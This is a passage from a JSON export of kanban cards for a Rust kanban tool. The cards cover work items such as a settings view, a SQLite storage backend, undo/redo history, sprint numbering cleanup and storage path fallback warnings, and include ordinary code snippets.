        "updated_at": "2026-04-06T21:44:46.541952888Z"
      },
      {
        "card_number": 274,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-06T21:43:36.139853390Z",
        "created_at": "2026-03-31T21:16:25.599729053Z",
        "description": "## Summary\n\nImplemented a full-screen Settings view accessible via `S` from the Boards panel.\n\n## What was added\n\n### kanban-core\n- `AppConfig` gained two new optional fields: `default_db_mode` and `default_format` (with `effective_*` accessors defaulting to `\"json\"`)\n- `save()` / `save_to(path)` / `load_from(path)` methods for config persistence\n- `AppConfigDto` implementing `Editable<AppConfig>` for JSON editor support\n- `CoreError::Config` variant\n- 7 unit tests\n\n### kanban-tui\n- `AppMode::Settings` variant\n- `KeybindingAction::OpenSettings`\n- `SettingsViewProvider` keybinding provider (`e` to edit, `q/Esc` to go back)\n- `S` key bound in Normal mode (both hardcoded dispatch and registry)\n- `settings_handlers.rs`: `handle_open_settings()` (only from Boards focus) and `handle_settings_key()` (edit via `edit_entity_json_impl`, save, escape)\n- `render_settings_view()` with three sections:\n  - **Configuration** (branch prefix, default DB mode, default format) — editable via `e`\n  - **Storage** (file path, backend type, instance ID) — read-only\n  - **Config File** (path, loaded/not found status) — read-only\n- 6 integration tests\n\n### Files changed\n- `crates/kanban-core/src/config.rs` — new fields, save/load, DTO, tests\n- `crates/kanban-core/src/error.rs` — Config variant\n- `crates/kanban-core/src/lib.rs` — export AppConfigDto\n- `crates/kanban-domain/src/error.rs` — From<CoreError> arm\n- `crates/kanban-tui/src/app/mode.rs` — Settings variant\n- `crates/kanban-tui/src/app/mod.rs` — key dispatch + action wiring\n- `crates/kanban-tui/src/keybindings/mod.rs` — OpenSettings action + pub mod\n- `crates/kanban-tui/src/keybindings/settings.rs` — **new**\n- `crates/kanban-tui/src/keybindings/normal_mode.rs` — S binding\n- `crates/kanban-tui/src/keybindings/registry.rs` — Settings provider\n- `crates/kanban-tui/src/handlers/mod.rs` — pub mod\n- `crates/kanban-tui/src/handlers/settings_handlers.rs` — **new**\n- `crates/kanban-tui/src/ui.rs` — render_settings_view + wiring\n- `crates/kanban-tui/tests/settings_tests.rs` — **new**",
        "due_date": null,
        "id": "22502ffb-5470-4a78-b80d-680bf85c6dcd",
        "points": 3,
        "position": 136,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-04-04T23:33:28.989206702Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-31T22:19:10.641124101Z",
            "status": "Active"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989206963Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Settings page UI",
        "updated_at": "2026-04-06T21:43:36.139853931Z"
      },
      {
        "card_number": 159,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-06T21:43:27.331824Z",
        "created_at": "2025-12-23T00:30:12.829780Z",
        "description": "## Context\nCurrent `JsonFileStore` loads entire state into memory and serializes full JSON on every save. This is O(n) for both read and write, blocking scalability past ~1000 cards.\n\n## Architecture: Implement Behind PersistenceStore Trait\nThe `PersistenceStore` trait in `kanban-persistence/src/traits.rs` is the seam for adding new storage backends.\n\n## Implementation Plan\n\n### Phase 1: Schema Design\nCreate `schema.sql` with tables for: metadata, boards, columns, cards, sprints, archived_cards. Add indexes for common queries (cards by column, cards by sprint).\n\n### Phase 2: SqliteStore Implementation\nNew file: `kanban-persistence/src/store/sqlite_store.rs`\n- Use `sqlx` with SQLite driver (async-compatible)\n- Implement `PersistenceStore` trait\n- Transaction wrapping for atomic operations\n- Connection pooling for concurrent access\n\n### Phase 3: Incremental Saves (Key Optimization)\nInstead of full-state snapshots:\n- Track dirty entities in `DirtyTracker` struct\n- Only INSERT/UPDATE/DELETE changed rows\n- Use `updated_at` timestamps for conflict detection\n\n### Phase 4: Migration from JSON\n- Detect `.json` vs `.db` file extension\n- Auto-migrate: load JSON -> create SQLite -> write all entities\n- Keep JSON as backup until verified\n\n## SOLID Considerations\n- **Single Responsibility**: SqliteStore only handles persistence, not domain logic\n- **Open/Closed**: Add new store without modifying existing code\n- **Liskov**: SqliteStore substitutable for JsonFileStore via trait\n- **Dependency Inversion**: TUI/CLI depend on PersistenceStore trait, not concrete impl\n\n## Abstraction for JSON vs SQL\nCreate shared `StoreOperations` trait for common patterns that both JsonFileStore and SqliteStore implement.\n\n## Files to Create/Modify\n- `crates/kanban-persistence/Cargo.toml` - add sqlx, feature flag\n- `crates/kanban-persistence/src/store/sqlite_store.rs` - new\n- `crates/kanban-persistence/src/store/mod.rs` - export SqliteStore\n- `crates/kanban-persistence/src/schema.sql` - DDL\n- `crates/kanban-persistence/src/migration/json_to_sqlite.rs` - new\n- `crates/kanban-cli/src/main.rs` - store selection logic\n\n## Acceptance Criteria\n- [ ] SqliteStore implements PersistenceStore trait\n- [ ] Feature flag: `--features sqlite` to enable\n- [ ] JSON->SQLite migration preserves all data\n- [ ] Incremental saves (not full snapshots)\n- [ ] Concurrent read safety via connection pool\n- [ ] Benchmarks showing improvement over JSON",
        "due_date": null,
        "id": "3e7b10cd-81f0-4fd6-a8ad-3f861331cc77",
        "points": 13,
        "position": 137,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743033415Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2025-12-23T00:31:51.248412Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989133217Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743033665Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989133478Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Implement SQLite storage backend",
        "updated_at": "2026-04-06T21:43:27.331824726Z"
      },
      {
        "card_number": 310,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-05T11:47:42.770230452Z",
        "description": "Both annotate_storage_fields and comment_storage_fields use Vec::join(\"\\n\") which silently drops any trailing newline from the input. Most text tools expect a trailing newline; stripping it on round-trip could cause spurious diffs. Also: the hardcoded 2-space indent on the JSON comment will misalign if the file uses a different indent width.",
        "due_date": null,
        "id": "29b84203-4bb1-4c31-9827-c288ef838367",
        "points": null,
        "position": 137,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541916968Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Fix trailing newline drop in annotate/comment_storage_fields",
        "updated_at": "2026-04-06T21:44:46.541939348Z"
      },
      {
        "card_number": 321,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-06T14:47:45.590465019Z",
        "description": "TUI calls Sprint::assignable() from the domain layer directly in 5+ places (card_handlers.rs, popup_handlers.rs, selection_dialog.rs, app/mod.rs). This bypasses the service layer, which is the pattern the rest of the codebase follows after PR #213. Fix: add KanbanContext::list_assignable_sprints(board_id: Uuid) -> Vec<Sprint> delegating to Sprint::assignable(), then update all TUI call sites to go through the service.",
        "due_date": null,
        "id": "f25f2a01-053c-420f-a45c-34bd2f2f3f26",
        "points": 2,
        "position": 138,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541914558Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Expose list_assignable_sprints on KanbanContext",
        "updated_at": "2026-04-06T21:44:46.541937728Z"
      },
      {
        "card_number": 317,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-06T20:55:26.754926950Z",
        "created_at": "2026-04-06T13:28:50.806409179Z",
        "description": "Confirmed bug from PR #213 review. The mutating_op! macro in crates/kanban-mcp/src/lib.rs calls reload() after every mutation to refresh state, but does not call clear_history() afterward. This causes undo/redo history to accumulate across reloads in MCP — the TUI file watcher path correctly calls clear_history() after reload(), but MCP does not. Fix: add ctx.clear_history() call inside mutating_op! after the reload() call.",
        "due_date": null,
        "id": "572eac31-61c6-4094-b2c5-8c99efc06580",
        "points": 1,
        "position": 138,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Fix: MCP mutating_op! calls reload() without clear_history()",
        "updated_at": "2026-04-06T20:55:26.754927912Z"
      },
      {
        "card_number": 264,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-06T21:43:31.787981344Z",
        "created_at": "2026-03-31T00:50:13.233056031Z",
        "description": "## Problem\n\nThe TUI is the only client with undo/redo support because it wraps every operation with before/after snapshot captures in its own `StateManager`. CLI and MCP sessions have no undo at all. The `HistoryManager` already lives in `kanban-domain` (designed for reuse — its doc comment says \"suitable for both TUI and future API server\") and all mutations in `KanbanContext` flow through a single `execute()` method.\n\nAdditionally, `DataSnapshot` (kanban-service) and `Snapshot` (kanban-domain) are structurally identical types — same 6 fields, same `#[serde(default)]` annotations — creating unnecessary duplication.\n\n## Solution\n\nAdd `HistoryManager` to `KanbanContext` so all clients get undo/redo for free. Unify the snapshot types.\n\n## Changes Required\n\n### 1. Unify `DataSnapshot` and `Snapshot`\n\n**Files:** `crates/kanban-service/src/context.rs`, `crates/kanban-service/src/lib.rs`\n\n- Delete `DataSnapshot` struct definition from `context.rs`\n- Replace all `DataSnapshot` usage with `kanban_domain::Snapshot` in: `KanbanContext::load`, `reload`, `save`, `export_board`, `import_board`\n- Update `pub use` in `lib.rs` — remove `DataSnapshot` export, add `Snapshot` re-export if needed\n\n### 2. Add `HistoryManager` to `KanbanContext`\n\n**File:** `crates/kanban-service/src/context.rs`\n\nAdd `history: HistoryManager` field to `KanbanContext`. Update constructors (`load`, `empty`) to initialize `history: HistoryManager::new()`.\n\nModify `execute()` to capture before-snapshot:\n```rust\npub fn execute(&mut self, command: Box<dyn Command>) -> KanbanResult<()> {\n    let before = self.snapshot();\n    self.history.capture_before_command(before);\n    let mut ctx = CommandContext { ... };\n    let result = command.execute(&mut ctx);\n    if result.is_err() {\n        self.history.pop_undo(); // Don't pollute history on failure\n    }\n    result\n}\n```\n\nAdd snapshot helpers:\n```rust\npub fn snapshot(&self) -> Snapshot {\n    Snapshot {\n        boards: self.boards.clone(),\n        columns: self.columns.clone(),\n        cards: self.cards.clone(),\n        archived_cards: self.archived_cards.clone(),\n        sprints: self.sprints.clone(),\n        graph: self.graph.clone(),\n    }\n}\n\nfn apply_snapshot(&mut self, snapshot: Snapshot) {\n    self.boards = snapshot.boards;\n    self.columns = snapshot.columns;\n    self.cards = snapshot.cards;\n    self.sprints = snapshot.sprints;\n    self.archived_cards = snapshot.archived_cards;\n    self.graph = snapshot.graph;\n}\n```\n\nAdd undo/redo methods:\n```rust\npub fn undo(&mut self) -> Option<Snapshot> {\n    let current = self.snapshot();\n    if let Some(previous) = self.history.pop_undo() {\n        self.history.push_redo(current);\n        self.apply_snapshot(previous.clone());\n        Some(previous)\n    } else {\n        None\n    }\n}\n\npub fn redo(&mut self) -> Option<Snapshot> {\n    let current = self.snapshot();\n    if let Some(next) = self.history.pop_redo() {\n        self.history.push_undo(current);\n        self.apply_snapshot(next.clone());\n        Some(next)\n    } else {\n        None\n    }\n}\n\npub fn can_undo(&self) -> bool { self.history.can_undo() }\npub fn can_redo(&self) -> bool { self.history.can_redo() }\npub fn clear_history(&mut self) { self.history.clear(); }\npub fn history(&self) -> &HistoryManager { &self.history }\npub fn history_mut(&mut self) -> &mut HistoryManager { &mut self.history }\n```\n\n### 3. Expose `store()` accessor and make `empty()` public\n\n**File:** `crates/kanban-service/src/context.rs`\n\n```rust\npub fn store(&self) -> &Arc<dyn PersistenceStore + Send + Sync> { &self.store }\npub fn empty(store: Arc<dyn PersistenceStore + Send + Sync>) -> Self { ... } // was private\n```\n\n### 4. Update `reload()` to clear history\n\n**File:** `crates/kanban-service/src/context.rs`\n\nAdd `self.history.clear()` at the end of `reload()`.\n\n## Tests (TDD — write first)\n\n**New file:** `crates/kanban-service/tests/undo_redo.rs`\n\n| Test | Description |\n|------|-------------|\n| `test_execute_captures_undo_snapshot` | Execute a command, verify `can_undo()` returns true |\n| `test_undo_restores_previous_state` | Create board, undo, verify boards is empty |\n| `test_redo_reapplies_undone_state` | Create board, undo, redo, verify board exists |\n| `test_new_action_after_undo_clears_redo` | Create board, undo, create another, verify `can_redo()` is false |\n| `test_undo_on_empty_history_returns_none` | Fresh context, undo returns None |\n| `test_reload_clears_history` | Execute, reload, verify history is cleared |\n| `test_failed_command_does_not_pollute_history` | Execute invalid command, verify `can_undo()` is false |\n| `test_snapshot_roundtrip_preserves_all_fields` | Create board+column+card, snapshot, apply_snapshot, verify equality |\n\n## Verification\n\n1. `cargo test --package kanban-service` — all existing + new tests pass\n2. `cargo test --package kanban-domain` — HistoryManager tests still pass\n3. `cargo test --workspace` — no regressions (CLI, MCP, TUI all compile and pass)\n4. `grep -r \"DataSnapshot\" crates/` returns nothing (fully removed)\n\n## Files Modified\n\n| File | Change |\n|------|--------|\n| `crates/kanban-service/src/context.rs` | Remove DataSnapshot, add HistoryManager + undo/redo + snapshot/apply_snapshot + store accessor, make empty() pub |\n| `crates/kanban-service/src/lib.rs` | Update exports (remove DataSnapshot, add Snapshot re-export if needed) |\n| `crates/kanban-service/tests/undo_redo.rs` | New test file for undo/redo integration tests |\n\n## Prerequisite for\n\n- KAN-265 (Simplify TuiContext to wrap KanbanContext)\n- KAN-260 (Invert storage backend plugin architecture)",
        "due_date": null,
        "id": "97978fb5-f2f1-4905-9cee-0f0ca3924b05",
        "points": 4,
        "position": 139,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856454947Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Lift undo/redo (HistoryManager) into KanbanContext",
        "updated_at": "2026-04-06T21:43:31.787982067Z"
      },
      {
        "card_number": 320,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-06T13:29:00.958820849Z",
        "description": "From PR #213 review. KanbanContext now owns the store (moved from StateManager). TuiContext exposes replace_store() for backend migration paths. Verify: (1) all code paths that trigger a backend switch go through replace_store(), (2) no path can swap the backend on KanbanContext directly without going through TuiContext, (3) channels are reset correctly via reset_save_channels() in all migration flows.",
        "due_date": null,
        "id": "a3931964-e678-48ed-81b2-034eeea0ec08",
        "points": 2,
        "position": 139,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541924691Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Audit replace_store() call sites on TuiContext for backend migration correctness",
        "updated_at": "2026-04-06T21:44:46.541945264Z"
      },
      {
        "card_number": 322,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-06T20:15:05.321353767Z",
        "description": "## Problem\n\n`next_sprint_number` on `Board` is stored state that has drifted out of use:\n- `allocate_sprint_number()` (the only method that reads/writes it) is **never called** anywhere in the codebase\n- Sprint numbers are actually assigned via `sprint_counters: HashMap<String, u32>` (keyed by prefix) through `get_next_sprint_number(prefix: &str)` in `board.rs`\n\n`sprint_counters` has the same fundamental problem — it is stored state that can diverge from reality when the file is hand-edited or migrated. `ensure_sprint_counter_initialized()` already derives the correct starting value from existing sprints (max sprint_number for the prefix + 1), proving the information is fully derivable.\n\nThis caused a concrete bug: `demo/fixtures/demo.json` ended up with two sprints both labelled KAN 1 because `sprint_counters` fell out of sync during manual editing.\n\n## Options\n\n1. **Remove `next_sprint_number` only** — dead field cleanup. Low risk, small change.\n2. **Remove both `next_sprint_number` and `sprint_counters`** — replace with a computed function `next_sprint_number_for(prefix, sprints) -> u32` that returns `max(sprint.sprint_number where sprint.prefix == prefix) + 1`, defaulting to 1. Eliminates the entire class of drift bugs.\n\nOption 2 is preferred. The max-scan cost is negligible at this scale.\n\n## Affected files\n\n- `crates/kanban-domain/src/board.rs` — remove field + `allocate_sprint_number()`, replace `get_next_sprint_number()` with pure function\n- `crates/kanban-domain/src/commands/sprint_commands.rs` — pass sprints slice to the new function instead of mutating board counter\n- `crates/kanban-persistence-sqlite/src/upserts.rs` — drop `next_sprint_number` column writes\n- `crates/kanban-persistence-sqlite/src/builders.rs` — drop `next_sprint_number` field read\n- `crates/kanban-persistence-json/` — field will naturally stop being serialized once removed from struct\n- Tests in `kanban-service`, `kanban-persistence-sqlite` that reference `next_sprint_number`\n- `demo/fixtures/demo.json` — fix the duplicate KAN 1 sprint_number while touching this",
        "due_date": null,
        "id": "5e68c015-7af8-447d-a12c-14d57d518e5b",
        "points": null,
        "position": 140,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541912935Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Remove next_sprint_number and derive sprint counters from sprints",
        "updated_at": "2026-04-06T21:44:46.541936624Z"
      },
      {
        "card_number": 165,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-06T21:43:38.809285354Z",
        "created_at": "2025-12-23T00:31:07.798189Z",
        "description": "## Context\nDomain layer uses command pattern (`kanban-domain/src/commands/`), but commands are not persisted. Need to evaluate if this adds value or just complexity.\n\n## Current Implementation Analysis\n\n### What Exists\n- `Command` trait with `execute()` and `description()`\n- Commands for all CRUD operations\n- `CommandContext` with mutable refs to all state\n- Command descriptions logged to `VecDeque<String>` (audit only)\n\n### What's Missing for Event Sourcing\n- Commands not persisted to storage\n- No replay mechanism\n- No event versioning\n- No projection rebuilding\n- No undo/redo\n\n### Questions to Answer\n1. Are commands persisted? -> No, only snapshots\n2. Is this event-sourcing? -> No, just structural pattern\n3. Can we implement undo/redo? -> Not without persisting commands\n4. Does the abstraction help? -> Provides uniform API, but adds indirection\n\n## Evaluation Criteria\n- Keep if: Command pattern enables future undo/redo, improves testability\n- Simplify if: Just adding boilerplate without benefit\n\n## Recommendation\nKeep command pattern BUT document its purpose:\n- Enables uniform operation interface for TUI/CLI\n- Provides audit log via descriptions\n- Future-proofs for undo/redo if commands are persisted\n- Add `Undoable` trait for commands that support reversal\n\n## Files to Analyze\n- `crates/kanban-domain/src/commands/mod.rs`\n- `crates/kanban-domain/src/commands/*.rs` - all command impls\n- `crates/kanban-tui/src/state/mod.rs` - command execution\n\n## Acceptance Criteria\n- [ ] Document command pattern purpose in code comments\n- [ ] Add `Undoable` trait (empty for now, marks intent)\n- [ ] Create `docs/ARCHITECTURE.md` explaining design decisions\n- [ ] Decision: keep, simplify, or extend for undo/redo",
        "due_date": null,
        "id": "708e88ba-e8c9-4bba-bfa3-b525d1efc231",
        "points": 3,
        "position": 140,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743046441Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2025-12-23T00:31:51.248427Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989076702Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743046810Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989076964Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Evaluate command pattern implementation",
        "updated_at": "2026-04-06T21:43:38.809285755Z"
      },
      {
        "card_number": 278,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-06T20:52:22.971633349Z",
        "created_at": "2026-04-03T18:42:07.915128523Z",
        "description": null,
        "due_date": null,
        "id": "07571a07-b569-4aa0-bf1e-fc1459775fc9",
        "points": 2,
        "position": 141,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856429077Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Improve demo workflow",
        "updated_at": "2026-04-06T20:52:22.971633417Z"
      },
      {
        "card_number": 327,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-06T21:15:48.417036726Z",
        "description": "## Context\n\nWhen no `storage_location` is set in config and no `--file` CLI arg is provided, `resolve_storage_location()` silently falls back to `kanban.json` in the current working directory:\n\n```rust\n// kanban-service/src/config.rs\npub fn resolve_storage_location(config: &AppConfig) -> String {\n    let raw = config.effective_storage_location(); // returns \"kanban.json\" when unconfigured\n    let path = Path::new(&raw);\n    if path.is_absolute() {\n        raw\n    } else {\n        std::env::current_dir()\n            .map(|cwd| cwd.join(path).display().to_string())\n            .unwrap_or(raw)\n    }\n}\n```\n\nIf the CWD happens to contain a `kanban.json` (e.g. you are inside the kanban project repo itself), it gets picked up with no indication that this is happening. This is the root cause of the misleading 'Storage Backend / Storage Location' display fixed in KAN-326.\n\n## Design Question: should CWD take precedence over config?\n\n### Model A — CWD as project file\nA `kanban.json` in the CWD is a project-local board, similar to `Makefile`, `package.json`, or `docker-compose.yml`. It should take precedence over global config when present. Mirrors how most dev tooling works.\n\n**Risk:** a user with `storage_location` set in config who runs `kanban` from inside a project directory would silently switch boards. Very surprising.\n\n### Model B — Config is source of truth (current behavior)\nConfig wins when defined. CWD pickup only happens as a last resort when config defines nothing. Explicit beats implicit.\n\n**Risk:** the fallback is silent. No indication that the board being opened came from CWD rather than an intentional configuration.\n\n## Resolution\n\nModel A is too dangerous — silent board switching would be a serious footgun. Model B is the right default, but the implicit CWD pickup should be made visible.\n\n### Option 1 — warn to stderr on implicit CWD pickup\n\nIn `kanban-cli/src/main.rs`, after storage is resolved, emit a warning when the resolved path came from CWD default rather than explicit config or CLI arg:\n\n```rust\nif save_file.is_none() && config.storage_location.is_none() {\n    let resolved = kanban_service::config::resolve_storage_location(&config);\n    eprintln\\!(\n        \"warn: no storage configured — using '{}' in current directory.          Pass --file or set storage_location in config to suppress this.\",\n        resolved\n    );\n}\n```\n\n### Option 2 — error when no storage is configured and no CWD file exists\n\nIf `kanban.json` does not exist in CWD and nothing is configured, fail explicitly rather than silently creating a new board at an implicit path:\n\n```rust\nif save_file.is_none() && config.storage_location.is_none() {\n    let resolved = kanban_service::config::resolve_storage_location(&config);\n    if \\!std::path::Path::new(&resolved).exists() {\n        anyhow::bail\\!(\n            \"No kanban file found. Run 'kanban init' or pass --file to specify a location.\"\n        );\n    }\n}\n```\n\n### Option 3 — combine both\n\nWarn when falling back to an existing CWD file, error when no CWD file exists either.\n\n## Recommendation\n\nOption 3. The silent-pickup of an existing CWD file should be a visible warning (TUI and CLI). A missing file with no configuration should be a hard error pointing the user toward `init` or `--file`.\n\n## Related: Settings UI label source tracking\n\nThe settings Configuration panel uses two sets of labels to indicate where storage came from:\n\n- **Plain** `Storage Backend / Location` → explicitly set in config\n- **Active Storage Backend / Location` → runtime-resolved (CWD default, or CLI override)\n\nCurrently the else branch (no CLI involvement at all) always renders plain labels, even when `storage_location` is `None` and the path is just CWD + `\"kanban.json\"`. This is semantically wrong — a CWD-resolved default is a runtime value, not a configured one, and should use the Active labels.\n\nThe correct rule by scenario:\n\n| Config storage set? | CLI override? | Labels to show |\n|---|---|---|\n| yes | no | plain `Storage *` |\n| yes | yes | grayed plain + `Active Storage *` |\n| no | yes | `Active Storage *` only (fixed in KAN-326) |\n| no | no | `Active Storage *` ← currently shows plain, which is wrong |\n\nFix: in the else branch of `render_settings_configuration` in `crates/kanban-tui/src/ui/settings_view.rs`, check `original_storage_location.is_none() && original_storage_backend.is_none()` and use `Active Storage *` labels when true.",
        "due_date": null,
        "id": "0c138723-47e7-4483-8352-383c51690972",
        "points": null,
        "position": 141,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541916029Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Warn when storage falls back to implicit CWD kanban.json",
        "updated_at": "2026-04-06T21:44:46.541938571Z"
      },
      {
        "card_number": 312,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-06T20:52:39.548657743Z",
        "created_at": "2026-04-05T12:37:00.116472319Z",
        "description": "on the completed tasks. elements had bad writing.\n\nclean this up\n\n```diff\n-            <li><span class=\"status-badge completed\">[x]</span> Undo/redo support (<code>u</code>/<code>U</code>)</li>\n+            <li><span class=\"status-badge completed\">[x]</span> Undo/redo support</li>\n             <li><span class=\"status-badge completed\">[x]</span> MCP server for LLM integration</li>\n-            <li><span class=\"status-badge completed\">[x]</span> Multiple storage backends (JSON, SQLite) with pluggable architecture</li>\n+            <li><span class=\"status-badge completed\">[x]</span> Multiple storage backends (JSON, SQLite)</li>\n```\n",
        "due_date": null,
        "id": "26439179-21f6-4d3b-b18d-cf886f4b4586",
        "points": 1,
        "position": 142,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-05T12:37:06.546278006Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "adjust landing roadmap",
        "updated_at": "2026-04-06T20:52:39.548657955Z"
      },
      {
        "card_number": 329,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-06T21:32:04.470484253Z",
        "description": "Currently only the data file is watched (FileWatcher). config.toml edits from outside the TUI (e.g. text editor) are not picked up until restart. Question: is config file watching worth implementing? Storage location changes would need full persistence re-init; display/theme settings could hot-reload more easily. In-app editor already triggers reload — gap is external edits only.",
        "due_date": null,
        "id": "8e6611f0-edd7-428c-89ab-9f04e4ba90eb",
        "points": null,
        "position": 142,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:50.139765208Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Investigate: watch config.toml for external edits while TUI is running",
        "updated_at": "2026-04-06T21:44:50.139768974Z"
      },
      {
        "card_number": 305,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-06T20:55:21.627927436Z",
        "created_at": "2026-04-05T08:47:13.253595089Z",
